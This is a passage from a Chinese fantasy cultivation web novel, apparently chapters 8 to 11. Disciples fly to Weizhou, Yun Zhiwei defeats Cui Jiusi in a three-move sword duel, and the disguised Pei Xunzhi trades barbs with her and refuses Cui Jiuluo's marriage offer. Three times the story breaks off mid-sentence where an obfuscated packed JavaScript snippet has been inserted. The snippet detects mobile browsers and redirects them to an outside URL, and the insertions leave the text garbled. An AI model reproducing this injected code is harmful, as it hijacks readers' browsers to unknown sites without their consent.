“是你啊裴濯!”她抓住他的裤子借力,麻溜起身,笑盈盈地寒暄,“你也去蔚州吗?真有缘啊!你已经加入天墟宗了对吧?那咱们以后就是同门了,你有什么需要帮忙的,尽管告诉我!我知道怎么去内门蹭课,而且我同回春医堂关系很好,你若是需要什么丹药,我都能搞定!还有,你……” 她牢记那晚宗主对她说的“同门之间要互相爱护”,并发自内心地同情裴濯这样心理扭曲的没人爱的私生子,于是十分热情地拉着他畅聊。 裴浔之的脑瓜子嗡嗡作响,仿佛被一万只苍蝇围攻。他从来没见过话这么多的人。 孤山聿话也多,但孤山聿有眼色,能看出他眼下心情不好,不会来叽叽喳喳地触霉头。 但云知微不知道。 她还在喋喋不休:“你怎么不说话?脸色怎么这么白啊?你是不是饿了?你要吃小饼干吗?这是紫藤做的,很好吃,是我最喜欢吃的!要不吃橘子?这是我阿兄自己种……” 裴浔之推开云知微递过来的小饼干和橘子,深呼吸一口气:“有人说过你很烦吗?” 云知微“啊”了一声,努力回忆了一下,然后认认真真地回答:“没有。” “现在有了。”裴浔之面无表情地扔下这句话,走到飞鸢最摇晃的尾部,同云知微拉开距离。 云知微琢磨了一下,才反应过来他是在说自己烦人。 她朝裴浔之龇了龇牙,气咻咻地冲过去,打算质问他自己哪里烦人。 “微微!” 离裴浔之还有几步距离时,罗不敢突然扭扭捏捏地出现了。 他拉住云知微,哭丧着脸,低眉顺眼地一通道歉:“微微,抱歉啊,那日我不该咒裴……你小师兄死,我不是故意让你难过的,我就是嘴贱开个玩笑……唉,你现在还难过么?” 云知微听到小师兄三个字,悲伤的情绪上涌,登时盖过对裴濯的怒气。 她肉眼可见地低落下来,但仍拍了拍罗不敢的肩膀,安慰他道:“没事萝卜干,我知道你是开玩笑。这事跟你没有关系,不要多想。” 罗不敢松了一口气,也安慰云知微:“那你也别难过了啊,反正裴浔之那家伙眼高于顶,就算活着,他也看不上你啊。” 刚说完,他莫名感受到一道来自脑后的不明杀意,罗不敢下意识转头,瞧见一张与裴浔之一模一样的脸,吓得差点尿裤子,以为是鬼魂来索命。 哆嗦了几下才反应过来,这人是裴濯,是个三境外门弟子;有人说他是裴氏私生子,也有人说是因为特别崇拜裴浔之所以戴了张人皮面具。 于是强自镇定下来,干笑着问了句:“咳咳,裴濯兄弟,你,你说是吧。” 云知微的注意力转移到“小师兄会不会看上她”这件事上,瞬间忘了刚才和裴濯的仇恨。 她热切地望着他:“裴濯,你觉得呢?” 裴浔之瞥了她一眼,顿了顿,冷冰冰干巴巴地回答:“我怎么知道,我又不是他。” 云知微凑上前,像平时拉云衔山一样,一把搂住裴浔之的小臂,习惯性带点同长辈撒娇的意味:“可你们是亲兄弟嘛,你就假设你是你阿兄。” 裴浔之从云知微的臂弯里抽回手,食指和中指曲起来,抵住云知微越凑越近的额头,冷漠回答:“假设我是他,我会让你离我远点。” “你瞎说,小师兄又厉害又温柔,他才不会这样同我说话。”云知微撇了撇嘴,一巴掌拍掉裴浔之的手。 同时腹诽:都是裴氏族人,这裴濯的嘴怎么这么欠? 这是云知微第二次说他温柔了。 裴浔之很是莫名其妙,不知道云知微这是哪里来的错误印象,实在忍不住问:“你为什么会觉得……” “你为什么会觉得裴浔之厉害?” 崔九斯不知道从哪里冒出来,趾高气昂地睨着云知微,语气嘲讽。 “既然这般厉害,那怎么死了?” 裴浔之眼皮快速一抬,旋即垂下。 云知微皱起眉头,嘴唇紧抿,是真生气了。 她本就讨厌别人在她面前说小师兄的不是,更何况,小师兄如今已不在人世了。 崔九斯就算再讨厌小师兄,难道不懂死者为大吗? 云知微提高音量,不给崔九斯留情面:“若小师兄都算不厉害,那难道是靠一步登天升入九境的人更厉害吗?九,师,兄?” 裴浔之瞥了一眼气势汹汹的云知微,嘴角无意识向上抬了一下。 崔九斯的脸立刻羞得通红。 那时,他日日被族中长辈们斥责无用,一时病急乱投医买来一步登天服用,结果偷鸡不成蚀把米,没当几天的九境就妖化了;醒来后,修为反而倒退到七境。 由于宗主不想引起慌乱,将此事压下了,天墟宗大多数同门并不知道内情。 可云知微这么一嚷嚷,这一整艘飞鸢的人都知道了。 “你少胡说八道!”崔九斯怒斥云知微,“这种辱人名声的事,怎可乱说!” 云知微声音比崔九斯更大:“既然如今怕别人说,那当初就不要做!” 崔九斯气得脸红脖子粗,搜肠刮肚地想怎么反击回去。 可云知微除了修为停滞在五境这事之外,实在没有其他可攻击的弱点。 于是,他依旧选择攻击裴浔之:“你以为裴浔之就没有靠外物么?你知不知道,若是没有他体内的帝王骨,他就是废物一个!我若有帝王骨,今日我也九境了!而且……” 裴浔之双手抱臂,倚靠在飞鸢壁上,没什么表情。 云知微义正言辞地打断唾沫横飞的崔九斯:“你做梦!帝王骨是不会选你的。帝王骨之所以选小师兄,就是因为帝王骨知道,没有帝王骨,小师兄也会是如今的小师兄!” “?” 崔九斯彻底被云知微这一顿流畅的陈述给搞懵了。 明明每个字都听懂了,但连起来却没明白是什么意思。 他头大如斗,怒道:“你在说什么玩意儿?能不能把舌头捋直了再说?” 云知微不甘示弱:“你能不能把脑子带上再听别人说话!” “你们两个,能闭嘴吗?” 一直闭目养神的崔九萝睁开眼,向两人投来一道平静而不容反抗的眼神,嗓音清冷。 “谁再多说一句,就滚下飞鸢去。” 崔九斯最怕的就是他阿姐,于是乖乖闭上嘴。 云知微也吵累了,一屁股坐下来,从灵戒中拿出各种小零嘴,和紫藤、罗不敢分着吃。 吃了几口,就开始赞美紫藤做的美味小饼干,把方才的不快忘到九霄云外去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143306|164591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 裴浔之还在独自回味云知微那一番关于帝王骨的论述,若有所思;他觉得,自己似乎快要窥探到了某个真谛,但总是若即若离。 他一抬眼,瞥见云知微吃得满嘴都是饼干屑,一副开心小馋猫的样子,于是扯了扯嘴角。一个小女孩而已,能说出什么高深论调来? 这时,一个女修目不斜视地经过他,走向云知微。 “云知微是吗?” “是,师姐好。” 云知微笑盈盈地抬头,顺手递了一个红澄澄的橘子给那女修。 女修接过橘子,盘腿坐在云知微对面,寒暄起来:“我也很喜欢裴师兄,可惜了。” 云知微找到同好,明显激动起来,抓住女修的手,又开心又难过:“是吧!小师兄真的很好!长得好看,性格又好,修为又高,没有缺点!” “对!孤山聿卖的所有东西我都有!就是没抢到那个人形立牌!哎,当时手慢了!” 两人就这么你一言我一语地畅聊起来。 在一旁的裴浔之,完全不理解为什么一个人会喜欢一个完全不了解的人,只当她们聊的并非自己,于是双手抱臂,闭目养神,心如止水。 只是在听到“人形立牌”时疑惑了一下。 那是个什么玩意儿?孤山聿这奸商的敛财花样真是层出不穷。 聊了一会儿,那女修从灵戒里拿出一本小册子,晃了一晃,对云知微道:“微微师妹,这是我花了一百灵石买来的;看在咱俩这般聊得来的份上,你若要的话,我两百灵石卖你。裴师兄不在了,这可已经绝版了。” 那个小册子,是《微芒剑术》。 云知微接过来翻了翻,对女修道道:“师姐,你被骗了,这不是小师兄的字迹。” 闻言,裴浔之睁开眼,有些惊讶地望看向一脸认真的云知微:这她都知道? 女修惊讶地啊了一声,明显不信:“孤山聿是裴师兄的好友,是他亲自卖与我的,怎会有假?” “啧啧啧,真是人走茶凉啊,以前宝贝得不行,人一死就开始卖了?” 崔九斯方才没占到上风,眼下又不死心地凑过来挑事。 那女修讪讪一笑。 她当初买这剑法,是因为孤山聿说可以交换一次向裴浔之学剑的机会;于是,她买了,也见到了裴浔之。裴浔之指导了她几招,然后说自己还有事,就匆匆离开了。 如今人没了,留着这册子着实没什么用,今日恰好遇见云知微,便打算卖给她,好回回血。 裴浔之认真看了几眼那女修的样貌,也依稀想起了此事。 当时,孤山聿缠了他好几日,说有个女修在修炼他的微芒剑术,但始终不得要领,想让他帮忙指点指点。 裴浔之一口应了。 但在见到那女修比划几招后,他就后悔了。 他死命克制住自己想要脱口而出的“你是为什么觉得自己能修好这剑术?靠自信吗?”,随便找个借口溜了,从此半年没搭理孤山聿。 自那以后,裴浔之也意识到,微芒剑术十分特殊,并不适合大多数人。 至少在天墟宗,他就没看见有谁适合;特别是那种急功近利的人,比如崔九斯。 崔九斯一把抢走女修怀里的小册子,嘲讽道:“这种垃圾玩意儿,你白送我我都不要,怎么好意思卖两百灵石的?” 女修底气不怎么足,尴尬道:“裴师兄的剑术自然是精妙绝伦,只是你我品不出其中的……” “放屁,这剑术我看过,平平无奇普通至极!垃圾就是垃圾!”崔九斯一抖小册子,薄脆的书页发出哗哗声。 近在咫尺的剑术创造者本人裴浔之听了,在心里冷笑:真是山猪吃不来…… “山猪吃不来细糠。微芒剑术很厉害,是你不懂。” 云知微胡乱擦了一把嘴边的饼干屑,站起来,唰地一声抽出罗不敢腰上用来壮胆的佩剑,站到崔九斯面前。 “九师兄,我十招之内就能打趴你。” 9. 第9章 云知微这话一出口,登时吸引了飞鸢上所有修士的目光,就连御鸢师都忍不住回头来看热闹,结果被崔九萝一个淡淡的眼神给瞪回去了。 “哈,就你?”崔九斯先是一愣,旋即不屑大笑,“行啊,若你能赢了本少爷,本少爷给你五千灵石。” “好。但不用灵力,只用招式。”云知微追加一个条件。 崔九斯现在是七境,她五境,若是用上灵力,用脚趾头想想都是崔九斯稳赢。 “行。”崔九斯嗤笑一声,一脸无所谓。 不用灵力的话,那就是纯拼体力;他一个堂堂大男人,难道还不如区区一个娇滴滴的小姑娘? 再者,微芒剑法之所以盛名在外,那是因为裴浔之本人拥有九境高阶的灵力;倘若不灌入灵力,微芒剑法那几招平平无奇的招式,怕是连一只鸡都杀不死。 云知微提剑,正要起式时,突然听见一声轻微的咳嗽。 她听出来是裴濯,于是转头看去。 裴浔之冲她勾了勾手指。 云知微拎着剑,走过去:“干嘛?” “我建议你……”裴浔之压低声音。 云知微一听是来自裴氏的建议,十分好学地踮起脚尖,瞪大眼,竖起耳朵,认真听。 “知难而退,不要丢人现眼。”裴浔之一字一句。 这是他发自肺腑的建议。 微芒剑法,真不是随便什么人都能练好的。 她若输了,丢她自己的脸倒是无所谓,主要是会丢他的脸。 他可还没死呢,还好端端地站在这儿呢。 云知微瞪了他一眼,还以为是什么正经建议,不以为然道:“没事的。如果赢了,说明我练得好,如果输了,说明这剑术不行,丢脸的也不是我。” “……” 裴浔之深呼吸一口气,尽量不咬牙切齿道:“你不是喜欢你小师兄吗?就这么败坏他名声?还想来世同他成亲?我看他做鬼都不会放过你!” 云知微小声道:“没事,小师兄已经不在了,他不知道。” 裴浔之:“……万一他没死呢?” 云知微瞪大眼,目不转睛地抬头凝视裴浔之。 就在裴浔之思考自己这话是不是含有太浓烈的暗示意味时,云知微一脸感动而同情地拍了拍他的小臂:“你阿兄真的已经不在了,虽然我也很难过,但是我们要节哀,要向前看。” 裴浔之面无表情:“……你的哀,节挺快呢。” “怎么?是不敢了?” 崔九斯召出剑,趾高气昂地用剑拍了拍自己的小腿,开口催促。 “云知微,你就说一句微芒剑术是垃圾,这事就算过去了。” 云知微将裴浔之一把推开,转身挽了一个利落的剑花,额前的碎刘海被剑风震起,露出光洁的额头和漂亮的眼睛,眼神坚定。 见有热闹可看的众修士纷纷挪到飞鸢两侧,为二人腾出空间。 倒卖剑术的女修竖起小册子挡住脸,叹气懊恼:“只是想赚点灵石而已,怎么闹成这样,可真没想污了裴师兄的身后名啊,罪过罪过……” 有内门弟子嘲笑出声:“怎么想的?不管什么比试,我就没听说过内门哪次赢过半场。真是自取其辱。” 立刻有人附和:“嗐,漂亮皮囊里都塞的是草包,你不知道她一直滞留在五境?没脑子嘛,很正常。” 外门弟子们都鸦雀无声,眼神飘忽不敢看。 他们当然站在云知微这一边,希望她能赢,为内门出一口气;但心里明白,这不可能,别输得太难看就行。 “微微,你小心点啊,你要受伤了衔山哥哥会打死我的!”罗不敢窝囊地缩成一团,闭着眼睛不敢看。 紫藤没有说话,紧张地握紧拳头,全身蓄力,似乎随时准备冲上去为云知微挡剑。 全场持有不同态度的,只有两个人。 裴浔之看完云知微的起式,突然改变了想法。 他挑了挑眉,全身放松地倚靠在鸢壁上,一副好整以暇的神态。 崔九萝素净的面容上,柳眉微蹙,红润的唇紧抿,明显是在担忧崔九斯。 一个修士的剑法好坏,从起式那一瞬间的手势、眼神、身形就能判断出来。 她一眼就能看出来,她那不成器的弟弟远不如云知微。 崔九斯浑然不觉他阿姐的担心,还纨绔气息十足地晃着剑,咧咧道:“免得人家说我欺负女孩子,这样,本少爷让你三招……哎!!!” 他还没说完,云知微就一剑挥出,挟着劲风,直逼他面门。 崔九斯一惊,连忙后撤一步,矮身躲过,一缕头发被割破,悠然滑落。 还没等他想好下一步出什么招,云知微的第二剑又到了。 崔九斯脑子里一团浆糊,仓促提剑格挡。两剑相交时溅出点点火星,发出刺耳的金石之声,震得崔九斯更加心烦意乱。 哐当—— 原来剑招只是虚掩,云知微用手肘对准崔九斯的手腕,精准一击,崔九斯手中的剑脱手。 就在他下意识去捞剑的同时,云知微一脚将他踹翻在地,脚尖点地,提剑上跃,对准崔九斯的咽喉,第三剑凌厉地刺下! 距离崔九斯咽喉只有分毫时,云知微手腕一转,剑尖一错,泛着寒光的剑身紧贴崔九斯脖子,深深插入飞鸢底部。 整个飞鸢陷入沉默,只能听见崔九斯的大口急促喘气声。 崔九斯心跳如鼓,颤颤巍巍地偏头去看差点贯穿自己咽喉的剑。 明亮的剑身上,倒映出半张美人桃花面。 那一向泛着盈盈笑意的清澈瞳仁,在日光照耀下,折射出一种漠然高贵的浅碧色,自然流露出某种顶级捕猎者与生俱来的、对猎物的杀意。 崔九斯慢慢咽了一口口水,感觉心脏停止了跳动。 他曾数次被云知微的容貌惊艳得挪不开眼,觉得她是一个笑起来眼睛里盛开着无数春天的香软小姑娘,想同她在一起,想把她捧在手心里呵护起来。 直到被她震慑住的此刻,他才在距离死亡只有分寸时,灼穿她漂亮皮囊的虚妄,洞见她的内里,从此打消自己无知的妄想。 她是一种惊心动魄的、极其锋利的漂亮。 是他不可掌控又想要靠近、而一靠近就会被灼烧以至于想要逃离的存在。 与此同时,原本姿态放松的裴浔之不知何时挺直了背脊,身体不明显地前倾,不眨眼地凝视云知微的一举一动。 直到内门弟子们爆发出一种震耳欲聋的欢呼声,云知微笑嘻嘻地起身拔剑扔还给罗不敢,他才重新靠回鸢壁上,缓慢吐出一口气。 一干外门弟子见云知微居然三招击败他们平时非常讨厌的崔九斯,登时与有荣焉,纷纷上前向她道喜。 “微微你太厉害了!怎么做到的!” “有生之年啊有生之年!!!我第一次亲眼见证外门赢了内门!爽!!!” “嘻嘻,我方才用水晶片拓下来了,回头拿回宗门卖去!大赚一笔!” 云知微为小师兄正名了,十分扬眉吐气:“我就说嘛,我小师兄九州第一!我只用了他剑术里区区三招呢!” 见云知微一眨眼又恢复成那个活泼可爱的自信小姑娘,崔九斯终于从那股难言的震惊中缓过来,回忆方才的打斗过程。 她出手实在太快了,那三剑,他没一剑是看清了的,根本不知道到底是微茫剑法里的哪一招。 崔九斯清了清嗓子,一骨碌爬起来,死鸭子嘴硬道:“有什么用?哪位修士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143307|164591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用灵力?若是用上灵力,你压根赢不了本少爷!” “噢,你说得没错。”云知微坦然承认,然后大大方方伸出手,“但你这次就是输了,给我灵石。” “……赏你了穷鬼,本少爷不差这点灵石!” 崔九斯掏出一张灵票,啪地一声摁在云知微手上。 赚得五百灵石,云知微毫不介意崔九斯死不低头的世家少爷姿态,嘻嘻一笑:“谢谢本少爷。” 崔九斯一脸恨恨走到崔九萝身边盘腿坐下,表情一换,冲崔九萝委屈道:“真奇怪,她怎么打赢我的,她刚刚用的是裴浔之那破剑术吗?” “没天赋,不勤奋,还没脑子。”崔九萝闭了闭眼,面色不善,“玉京的脸都被你丢光了。此行结束,回去面壁七日。” 崔九斯不敢犟嘴,弱弱道:“阿姐我错了。” 然后不甘心地追问:“那剑术当真有这么厉害吗?” 崔九萝淡淡回答:“不是剑术厉害,是人厉害。” 她知道崔九斯这废物弟弟听不懂,于是给他详细解释。 “微芒剑术,一招一式都极其简单,所以你才觉得平平无奇。” “但是,你要知道,繁复的招式,只是为了弥补先天的不足;而一旦简单到了极致,就要求练的人有极高的天赋。” “比如,她方才用的第一式,要求极快的出剑速度;第二式,要求极高的准头,能精确击中目标;第三式,要求狠劲,看准目标就下手,不要有任何迟疑。这些,都是天赋。” “你懂了吗?不然你以为裴浔之为什么没有私藏剑术反而印成册子到处散播?是他慷慨无私吗?” “自然不是,是因为这剑术并非谁都有天赋练成。你,我,这飞鸢上除了云知微,都没有。” 听完崔九萝的解释,崔九斯抬眸去看被围在人群中的云知微,愣了半晌,方才懊恼地慢慢“哦”了一声。 听完大家不遗余力的夸赞,云知微甚是心满意足,但总觉得还差了什么。 她视线一扫,定格在那一直没说过她好话的黑衣少年身上。 云知微挺起胸脯,昂首阔步,背着手,几步迈到方才劝她不要丢人现眼的裴浔之跟前。 然后学着他双手抱臂,侧靠在鸢壁上,翘起脚尖晃了一晃:“裴濯,我大发慈悲,赏你一个夸赞我的机会。” 她比裴浔之矮很多,只到他的胸前。裴浔之不得不低头垂眸,朝这叽叽喳喳的小姑娘看去。 他发现一个有趣的事情:她平时话很多,多到令人头大;但对人动手的时候,从头到尾一个字都没说过。 每一招都干净利落。 漂亮。 只是…… “这剑术你自学的?”裴浔之问。 云知微眨了眨眼,轻轻松松就被裴浔之带偏了话题:“当然是小师兄教我的啊。” 裴浔之一怔。 在孤山聿的坑蒙拐骗下,他的确单独指点过不少同门,也曾在万悟常的要求下开过剑术讲学,有上千名弟子来听过。 “你听过我……阿兄他两年前的讲学?” 云知微点头回答:“当然!” “哦……”裴浔之眉梢一挑。 “不是,你怎么转移话题!”云知微突然想起自己本来的目的,于是凑上前,眨巴着眼看裴濯,一脸期待地催促道:“快说,我刚刚是不是顶厉害?” 裴浔之嫌她凑得太近,于是后退一步,拉开距离。 在对于评价别人能力这件事上,裴浔之从不说假话,也不会口是心非。 对于笨蛋蠢货,他从不考虑别人的自尊心。 而对于有能力的人,他也从不吝啬赞美之词。 他点头,发自内心地肯定:“嗯,还行。” 10. 第10章 倘若孤山聿在场,就知道能从裴浔之嘴里听到“还行”这俩字是多么不容易了! 裴浔之对他说过最不毒舌的话是“修道这事你已经到头了,我建议你回孤山氏去经商”。 云知微撇了撇嘴,不是很满意裴浔之的回答。 她正要开口时,突然感觉到有人在往这边看,于是一扭头,目光穿过或站或坐的修士群,与不远处的崔九萝对上视线。 崔九萝瓜子脸、柳叶眉,面容素净,气质清冷,站在一堆叽叽喳喳的修士中间,宛若一朵出淤泥而不染的出水芙蓉。 真好看啊。 云知微冲崔九萝咧嘴一笑,招了招手。 崔九萝顿了顿,遥遥冲她一颔首以示回礼,然后坦然自若地移开目光。 云知微想起来,曾听不少人说过,为了制衡日渐壮大的仙庭陆氏,神都裴氏和玉京崔氏有联姻的计划。 而联姻的两位主角,便是裴浔之和崔九萝。 她咂了咂嘴,发出一声叹息。 裴浔之看她:“叹什么气?” 云知微不知是自言自语,还是在发问:“崔师姐真好看啊,小师兄是不是喜欢她?他们是不是要联姻?可惜小师兄不在了,太遗憾了。” 裴浔之想也不想,快速回应:“不好看。不喜欢。不联。不遗憾。” 云知微不相信小师兄会同裴濯这个私生弟弟交流自己的感情生活:“你不懂。我若是小师兄,我就喜欢她。” 貌美,能力强,性格好,家世好,堪称完美。 裴浔之以一种“你是有眼疾吗”的眼神瞥了一眼云知微,冷笑一声:“幸好你不是。” 云知微听出一股浓烈的讽刺意味,心里想,这裴濯定然是嫉妒小师兄。说不定他也喜欢崔九萝,但奈何私生子这个身份上不得台面,不可能与崔九萝联姻。 他也是挺可怜的…… 正胡思乱想着,云知微看见崔九萝朝他们走来。 云知微立刻站直,小声道:“崔师姐过来了!是不是来问我微芒剑术的事啊。” “不是。”裴浔之突然曲指,在云知微头上弹了一下。 “嗷痛!”云知微没料到他如此突然地对自己动手,吓了一跳,“为什么不是?” “因为她是来找我的。”裴浔之没什么情绪地回答。 云知微揉了揉被裴浔之敲痛的头,不满且鄙夷道:“她找你干嘛,你这人也太自……” “裴濯,借一步说话。” 崔九萝走到他二人跟前,停下,眉目温和,声音若春风拂面。 云知微瞪大眼,揉头的手停住。 居然还真的是找他的。 裴浔之抬脚的同时,再次抬手曲指,在云知微反应过来之前,又不轻不重弹了一下她的额头,冲她一挑眉,然后慢条斯理地跟着崔九萝去往飞鸢尾部了。 在飞行过程中,飞鸢的尾部是最不平稳的一个部分,因而没有人在这里;再加上呼啸的风声可以掩盖说话声,是一个十分合适的私密谈话场所。 崔九萝面向飞鸢外,一手搭在鸢舷扶手上,另一只手将一缕被风吹乱的发梢别到耳后,偏头看裴浔之,气息平稳地将自己的声音送到裴浔之耳边:“你怎么把自己搞成三境了?” 裴浔之面朝飞鸢内,背靠鸢舷扶手,双手抱臂。 他一听见“三境”就心烦,不客气道:“与你无关。” 崔九萝涵养很好地笑了一下:“你是我可能的成亲对象之一,怎会无关呢。” “打住。”裴浔之抬手在空中一劈,“这事不可能,我不会同不喜欢的人在一起。你去找陆玉珩吧,他不挑。” 崔九萝愣了一下,语气淡淡地戏谑道:“你如今脱了神都二少主那层皮囊,说话就如此不客气了么?” 若是以前,裴浔之拒绝人的时候,还是会礼节性地先说一个“抱歉”的。 神都裴氏出过帝主,他们自诩是九州最古老、最尊贵的世家,定了一大堆繁琐冗杂的族规,就连一日三餐的进食时间、握筷摆盘的方式也有严苛的规定。因此,绝对养不出像崔九斯这样的纨绔,自然也会日复一日地训练裴浔之这样嘴欠脾气臭的人戴上一层面具。 裴浔之没有搭理崔九萝,从怀里掏出糖盒,扔了一颗到嘴里,嘎嘣嚼起来。 每当他发现自己即将出言不逊时,就会通过吃糖来让自己闭嘴;久而久之,只要觉得烦,就会下意识吃糖。 崔九萝并没有被裴浔之这极差的态度劝退,继续往下说:“你和陆玉珩之间,我押你能拿到九州帝印,所以我选你而不是他。做个交易吧,我帮你找回你的帝王骨,你我联姻。” 听到“帝王骨”,裴浔之嚼糖的动作微不可察地顿了一下。 他知道崔九萝是聪明人,既然已猜出来了,他也没必要虚与委蛇,于是不带感情地点评道:“姓崔的都没长脑子,你倒是长了点。” 崔九萝一笑:“怎么样,考虑吗?我把你安全护送至蔚州,再亲自带人同你去妖域找帝王骨。” 裴浔之一手抱在胸前,一手漫不经心地玩着糖盒,一抬眸瞥见云知微远远投来一道牢牢黏在糖盒上的眼神,扯了一下嘴角,回答崔九萝:“不联姻的话,可以考虑。” 崔九萝听出拒绝的意味,脸上的笑容淡了几分:“你不怕我转头去帮仙庭?” 裴浔之啪嗒一声关上糖盒,放入怀里:“去呗,随你。” 咣铛—— “啊啊啊啊!” 突然,一阵劲风吹过,飞鸢整个鸢身一斜,众修慌张惊呼起来,纷纷往两边急奔去抓扶手。 云知微离鸢舷还有一段距离,来不及抓住扶手;于是,随着鸢头陡然升高,她不受控制地往鸢尾摔去,恰好撞向裴浔之的方向。 裴浔之看了一眼猛冲过来的云知微,想着反正撞不死也撞不残,打算事不关己地闪身避开;但又于电光火石之间心念电转,突然一把抓住身边崔九萝的小臂,将她往自己这边一拽。 那一瞬间,崔九萝下意识闪过一个自己都不敢相信的念头,以为裴浔之是在担心她站不稳所以拉她一把。 直到云知微结结实实地撞在她身上,差点没把她肋骨给撞散架时,她才知道裴浔之此人的险恶用心。 飞鸢恢复稳定,云知微惊魂未定地挂在崔九萝身上,抬头道谢:“多谢崔师姐救我。” 崔九萝低头回视,察觉到自己居然第一次对一个没有任何利益冲突的人升起一股强烈的情绪。 或许是因为云知微居然和一只低贱的紫藤妖走太近。 也可能是因为她三招打趴自己那不成器的弟弟,在一众弟子面前折了崔氏的面子。 又或者,一直冷漠拒绝与她合作的裴浔之,明显对云知微释放了少有的善意。 崔九萝很少说难听的话,此刻忍不住要张嘴说“滚开”时,却见云知微目不转睛地盯着她,眼眸澄澈不含一丝杂质,宛若春日山间深可见底的碧潭,像某种久居深山不识人心不谙世道的天真小动物。 紧接着,云知微小巧直挺的鼻子动了动,似乎是在嗅什么,然后露出一个灿烂的笑容,音色清脆中带点甜糯:“崔师姐,你香香的!” 崔九萝的嘴唇张到一半,“滚开”二字不上不下卡在嗓子眼里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143308|164591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,生生被云知微这句话给堵了回去。 她没有回应,一把捏住云知微的肩膀,算不上温柔地推开,面色不佳地朝鸢头那边的御鸢师走去,语气生硬地质问:“飞鸢是怎么回事?” 云知微没想到自己会被推开,有些疑惑地摸了摸胸前的雪纹璎珞,自言自语:“崔师姐是不是心情不好?” 裴浔之在一旁,曲起手指又想弹云知微的头:“她是心不好。” “你少跟她说话,别被卖了还夸人心善。有没有脑子,啊?” 云知微有了前车之鉴,一歪头躲过裴浔之的弹指,仰起头龇牙道:“裴濯!你才心不好!说话这么难听!顶着小师兄的脸,能不能学一学人家?” 裴浔之一歪头,眉梢一挑,挑衅道:“我就不。” 似乎是觉得逗云知微很好玩似的,又作死加上一句:“学他什么?绝圣渡劫死翘翘啊?” 果然,这句话精准地踩在云知微的雷区上。 她磨了磨牙,双手揪住他的衣襟,踮起脚威胁道:“裴濯,你嘴欠我管不了,但是不准说小师兄!你再敢说一句小师兄的不是,我就揍你!” 裴浔之还要继续嘴欠,突然那日被云知微一个苹果扔翻在地的场面又耻辱地浮现在脑海,想了想自己当下只有三境,的确打不过云知微,于是好汉不吃眼前亏地闭上嘴,耸了耸肩示意自己不说了。 突然,刚刚恢复稳定的飞鸢开始急速下降,引得众修议论纷纷。 “咦?这么快就到蔚州了吗?” “不可能啊,蔚州不是挺远的吗,在最北边呢,还得飞半日才对啊!” 片刻后,飞鸢降落在一片空地上。 云知微好奇地趴在鸢舷扶手上,四处张望:“这是蔚州吗?” 不远处,是一片无边的翠绿田野,农人耕牛在田间劳作;农舍错落有致地分布,烟囱里升起袅袅青烟,时而传来狗吠鸡鸣。 “诸位,抱歉,飞鸢出岔子了。” 御鸢师搓着手,步伐匆匆穿过人群,从飞鸢头部走到飞鸢中部。 后面跟着面冷若霜的崔九萝。 “啊?怎么回事啊?”崔九斯凑上去发问,“好端端地怎么坏了?” 御鸢师蹲下来,指着一个地方,回答:“方才二位不是打了一架嘛。诺,看看。” 众修看向御鸢师指的地方,登时反应过来,这是云知微最后一剑落下的地方。 “开什么玩笑?她都没用灵力,能把这飞鸢给戳坏?”崔九斯赶开御鸢师,翘着屁股趴在地上,眯眼细看。 光滑的青色竹制鸢底上,的确出现了一道极细的裂缝。 裂缝间,丝丝缕缕的纯白色灵力周而复始地合拢又汇聚,就是无法完全凝聚起来,显然是受到了破坏。 难怪飞鸢方才突发剧烈震荡。 崔九斯“嘶”了一声,难以置信地看向云知微,对上她一双懵懂局促的双眸,立刻否定她能徒手破坏飞鸢的想法,扭头瞪着御鸢师:“你们这什么粗制滥造的飞鸢啊?” 御鸢师一脸无辜道:“也,也不算粗制滥造吧,二十万灵石一艘呢。” 云知微瞪大眼,倒吸一口凉气,胳膊碰了碰身边的裴浔之,小声问:“会不会让我赔啊?” 裴浔之瞥了她一眼,严肃地点点头:“会。” 云知微瞪大眼,眼珠不安地乱动,嘴唇紧抿,显然是吓到了。 “眼下的问题是——” 崔九萝的目光扫过一众外门弟子,最后停在云知微身上,语气听起来柔和,但说话的内容带刺。 “飞鸢没办法载这么多人去蔚州了。” 11. 第11章 罗不敢缩着脖子,咽了一口口水,舔了舔嘴唇,鼓起勇气,颤颤巍巍道:“那,那要不就开慢一点?” 崔九萝语气平静而不容置疑地拒绝:“不行,任务急,等不了。” 她的言下之意很明确:目前飞鸢上人太多了,得下去一些人。而飞鸢是云知微弄坏的,自然该他们外门的人下去。作为外门的领队,罗不敢应当识相点,主动提出来,这样大家面子上都好看。 罗不敢为难地挠了挠头。 如果不坐飞鸢,就只能采用其他方式。 从前有一次,他就走的水路,路途颠簸不说,还会比飞鸢多花好几日;而修士们通过任务来赚取灵石和精进修为,自然不愿意在路途上花费太多时间。 